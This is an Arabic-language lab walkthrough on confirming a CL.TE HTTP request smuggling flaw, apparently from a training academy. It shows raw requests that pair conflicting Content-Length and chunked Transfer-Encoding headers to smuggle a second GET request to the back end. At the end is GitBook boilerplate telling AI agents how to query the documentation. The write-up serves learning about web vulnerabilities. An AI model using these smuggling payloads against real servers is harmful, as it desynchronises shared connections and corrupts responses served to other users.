> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).
# تأكيد ثغرة CL.TE عبر استجابات تفاضلية
### تهريب طلبات HTTP، تأكيد ثغرة CL.TE عبر استجابات تفاضلية
تستخدم هذه المختبرية خادماً أمامياً وخادماً داخلياً. الخادم الأمامي **لا يتعامل مع التجزئة** الترميز. / الهدف هو أن **تهرّب طلباً إلى الخادم الخلفي** بحيث يؤدي الطلب التالي إلى **/** يؤدي إلى استجابة **404 غير موجود**.
> **ملاحظة:** حتى لو كانت المختبرية تقبل HTTP/2، فإن الطريقة المطلوبة قابلة للاستخدام فقط في HTTP/1. / **تلميح:** تساعد إضافة Burp HTTP Request Smuggler على إعادة حساب الأطوال تلقائياً.
#### الملاحظة الأولية
يفسر الطرف الأمامي **Content-Length**، بينما يعتمد الطرف الخلفي على **Transfer-Encoding**. / إرسال طلب أدنى:
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```
ثم بإضافة معلمة، يصبح الطول منطقياً 9:
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9
test=test
```
لتجنب إعادة الحساب التلقائية للطول، يتم إدخال ترويسة جديدة.
#### إضافة *Transfer-Encoding*
إذا أضفنا:
```http
Transfer-Encoding: chunked
```
يعيد الخادم خطأ عدم تزامن:
HTTP/1.1 500 خطأ داخلي في الخادم
ومع ذلك، عند إرسال حمولة مجزأة صالحة:
```http
Content-Length: 13
Transfer-Encoding: chunked
3
abc
0
```
تعود الاستجابة في **200 OK**.
يمكننا أيضاً اختبار:
```http
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### حقن طلب إلى الخادم الخلفي
للحصول على **404**، يجب أن تفرض على الخادم الخلفي معالجة طلب إضافي. / إذا أضفت:
```http
GET /error HTTP/1.1
اختبار: A
```
وأن الخادم الخلفي يفسر الطلب المهرب بشكل صحيح، فإنه ينفذ `GET /error`.
مثال كامل:
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked
3
abc
0
GET /error HTTP/1.1
اختبار: A
```
الاستجابة الأولى تكون في **200**، لكن الطلب التالي الذي يرسله المتصفح يؤدي إلى **404**، وهو دليل على عدم التزامن.
#### تنويع: تشغيل صفحة أخرى
إذا أردت أن ينفذ الخادم الخلفي مورداً آخر، على سبيل المثال:
```http
GET /post?postId=4 HTTP/1.1
اختبار: A
```
عندها ستعرض الصفحة الرئيسية المحتوى المطابق للمنشور 4، مؤكدةً أن الاستعلام المهرب قد تمت معالجته بواسطة الخادم الخلفي.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.